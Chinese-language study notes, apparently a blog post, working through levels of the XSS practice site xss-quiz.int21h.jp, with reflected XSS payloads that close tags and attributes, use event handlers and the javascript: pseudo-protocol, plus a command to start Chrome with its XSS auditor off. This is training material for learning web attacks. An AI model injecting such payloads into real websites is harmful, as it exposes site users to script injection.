XSS 攻击

Web安全攻防 学习笔记

一、XSS 攻击


1.1、实验环境介绍

        地址:https://xss-quiz.int21h.jp/

在这里插入图片描述



1.2、探测 XSS 过程

  • 构造一个不会被识别为恶意代码的字符串提交到页面中

  • 使用浏览器审查工具进行代码审查,寻找构造的字符串是否在页面中显示

在这里插入图片描述


1.3、闭合文本标签利用 XSS

    第一关比较简单,下面两个都可以成功注入

  • 简单的 payload
	<script>alert(document.domain);</script>
  • 闭合标签的 payload
	"</b><script>alert(document.domain);</script>



1.4、配置 Chrome 关闭 XSS-Auditor

        https://xss-qhttps://xss-quiz.int21h.jp/ 利用 XSS 过程中会出现下图情况。

在这里插入图片描述

新创建一个快捷方式

	# 你的 Chrome.exe 浏览器的路径 +  --args --disable-xss-auditor
	
	"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --args --disable-xss-auditor

在这里插入图片描述
在这里插入图片描述


1.5、属性中的 XSS 发现

  1. 页面没有显示输入的值在哪里,用 ctrl+f 全局搜索输入的内容。

  2. 闭合引号,尖括号,引入 script 脚本

	123
	123"><script>alert(document.domain);</script>

在这里插入图片描述
在这里插入图片描述

  • onmouseover 鼠标悬停弹出

    当鼠标移到输入框时弹出
	" οnmοuseοver=alert(document.domain)>

在这里插入图片描述

  • select 元素可创建单选或多选菜单

    在 select 下拉框中输入,闭合标签
	Japan</option><script>alert(document.domain);</script>

在这里插入图片描述
在这里插入图片描述


1.6、HTML 表单隐藏参数

        隐藏域是用来收集或发送信息的不可见元素,对于网页的访问者来说,隐藏域是看不见的。 当表单被提交时,隐藏域就会将信息用你设置时定义的名称和值发送到服务器上。

        使用先前的方法都不顶用了,那么直接点,把隐藏表单显示出来。

	123"><script>alert(document.domain);</script>

在这里插入图片描述
在这里插入图片描述

  • HTML 表单文本框的一些属性
	<input type='text' name='' value=''>

	value       输入字段的初始值
	readonly    输入字段为只读(不能修改)
	disabled     输入字段是禁用的
	size        规定输入字段的字符
	maxlength   输入字段允许最大长度

在这里插入图片描述

	"><script>alert(document.domain);</script>

在这里插入图片描述



1.7、通过 HTML 事件来触发 XSS

	123"><script>alert(document.domain);</script>

在这里插入图片描述

	# 既然 <script> 不行, 那就换一个
	# 鼠标移动触发
	123" οnmοuseοver="alert(document.domain)
	# 鼠标点击触发
	" οnclick="alert(document.domain)

在这里插入图片描述


1.8、空格分隔属性中的 XSS

按照上面的闭合思路来进行尝试

  1. 123"><script>alert(document.domain);</script>
    把语句当做是一个整体,并且 <> 被转换

  2. 123" onmouseover="alert(document.domain)
    按照空格自动划分属性与值,且补充引号

  3. 123 onmouseover=alert(document.domain)
    ok!




二、JavaScript 伪协议


2.1、JavaScript 伪协议介绍

        将 JavaScript 代码添加到客户端的方法是把它放置在伪协议说明符 JavaScript : 后的 URL 中。这 个特殊的协议类型声明了 URL 的主体是任意的 JavaScript 代码,它由 JavaScript 的解释器运行。 如果 JavaScript :URL 中的 JavaScript 代码含有多个语句,必须使用分号将这些语句分隔开。

	javascript:var now = new Date(); "<h1>The time is:</h1>" + now;

在这里插入图片描述
在这里插入图片描述

  • 利用 JavaScript 伪协议
	javascript:alert(document.domain);

在这里插入图片描述

2.2、a 链接标签属性

标签定义超链接,用于从一个页面链接到另外一个页面。标签最重要的属性是 href 属性,它指定链接的目标。

在所有浏览器中,链接的默认外观是:

  • 未被访问的链接带有下划线而且是蓝色的

  • 已被访问的链接带有下划线而且是紫色的

  • 活动链接带有下划线而且是红色的

发布了140 篇原创文章 · 获赞 1 · 访问量 5555

猜你喜欢

转载自blog.csdn.net/qq_43621629/article/details/104626597